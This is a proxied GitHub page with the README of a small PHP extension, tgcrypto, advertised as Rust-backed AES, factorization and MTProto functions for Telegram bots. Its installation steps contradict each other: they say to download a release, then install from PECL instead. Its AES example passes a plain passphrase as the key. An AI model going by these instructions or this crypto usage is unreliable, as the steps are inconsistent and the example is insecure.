8000 GitHub - watchrapon/tgcrypto at v3.0
[go: up one dir, main page]
More Web Proxy on the site http://driver.im/
Skip to content

tgcrypto is a PHP extension that enhances cryptographic functions by utilizing Rust for improved performance. πŸš€ This project allows you to efficiently manage tasks like encryption and prime factorization while ensuring compatibility with PHP 8. πŸ™

Notifications You must be signed in to change notification settings

watchrapon/tgcrypto

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

3 Commits
Β 
Β 

Repository files navigation

tgcrypto: A PHP Extension for Cryptographic Functions Using Rust πŸ”’

tgcrypto GitHub Releases License

Welcome to tgcrypto, a PHP extension designed to enhance your cryptographic capabilities using the power of Rust. This project aims to provide efficient and secure cryptographic functions that can be easily integrated into your PHP applications. Whether you are developing a bot for Telegram or need robust encryption methods, tgcrypto has you covered.

Table of Contents

Features

  • Fast and Secure: Leverage the speed of Rust for cryptographic operations while maintaining security.
  • Easy Integration: Simple installation and usage within your existing PHP projects.
  • Comprehensive Functionality: Supports various cryptographic algorithms, including AES and factorization methods.
  • Open Source: Contribute to the project and help improve its features and security.

Installation

To get started with tgcrypto, you need to download the latest release. Visit Releases to find the appropriate version for your system.

After downloading, follow these steps to install the extension:

  1. Download the Release: Choose the appropriate package for your operating system from the releases page.

  2. Extract the Files: Unzip the downloaded file to a directory of your choice.

  3. Install the Extension:

    • For Linux, you can run the following command in your terminal:
      sudo pecl install tgcrypto
    • For Windows, follow the instructions in the INSTALL.md file included in the package.
  4. Enable the Extension: Add the following line to your php.ini file:

    extension=tgcrypto.so
    
  5. Restart Your Web Server: Make sure to restart your server to apply the changes.

Usage

Once installed, you can start using tgcrypto in your PHP scripts. Here’s a basic example of how to use the AES encryption feature:

<?php
// Load the tgcrypto extension
if (!extension_loaded('tgcrypto')) {
    die('tgcrypto extension is not loaded');
}

// Sample data
$data = "Hello, World!";
$key = "your-encryption-key";

// Encrypt the data
$encryptedData = tgcrypto_aes_encrypt($data, $key);
echo "Encrypted: " . $encryptedData . "\n";

// Decrypt the data
$decryptedData = tgcrypto_aes_decrypt($encryptedData, $key);
echo "Decrypted: " . $decryptedData . "\n";
?>

This example demonstrates how to encrypt and decrypt data using the AES algorithm. You can replace tgcrypto_aes_encrypt and tgcrypto_aes_decrypt with other available functions as needed.

Supported Cryptographic Functions

tgcrypto provides a range of cryptographic functions. Here are some of the key algorithms you can use:

  • AES (Advanced Encryption Standard):

    • tgcrypto_aes_encrypt($data, $key): Encrypts data using AES.
    • tgcrypto_aes_decrypt($encryptedData, $key): Decrypts AES-encrypted data.
  • Factorization: Useful for cryptographic applications that rely on large prime numbers.

  • MTProto: Implementations for Telegram bots to handle secure communications.

  • Other Algorithms: Additional cryptographic functions will be added over time, so keep an eye on the updates.

Contributing

We welcome contributions to tgcrypto! If you have ideas for new features, improvements, or bug fixes, please follow these steps:

  1. Fork the Repository: Click the "Fork" button on the top right of this page.
  2. Create a New Branch: Use a descriptive name for your branch:
    git checkout -b feature/your-feature-name
  3. Make Your Changes: Implement your feature or fix.
  4. Commit Your Changes: Write clear and concise commit messages.
    git commit -m "Add feature XYZ"
  5. Push to Your Fork:
    git push origin feature/your-feature-name
  6. Create a Pull Request: Go to the original repository and submit your pull request.

License

tgcrypto is licensed under the MIT License. Feel free to use, modify, and distribute the code as you see fit.

Links

For the latest releases, visit Releases. Here, you can find all the downloadable files and installation instructions.

Explore the topics related to tgcrypto:

Stay updated with our progress and contribute to the project. Your feedback and contributions are invaluable to us.


Feel free to reach out with any questions or suggestions. Happy coding!

About

tgcrypto is a PHP extension that enhances cryptographic functions by utilizing Rust for improved performance. πŸš€ This project allows you to efficiently manage tasks like encryption and prime factorization while ensuring compatibility with PHP 8. πŸ™

Topics

Resources

Stars

Watchers

Forks

Packages

No packages published

Contributors 2

  •  
  •  
0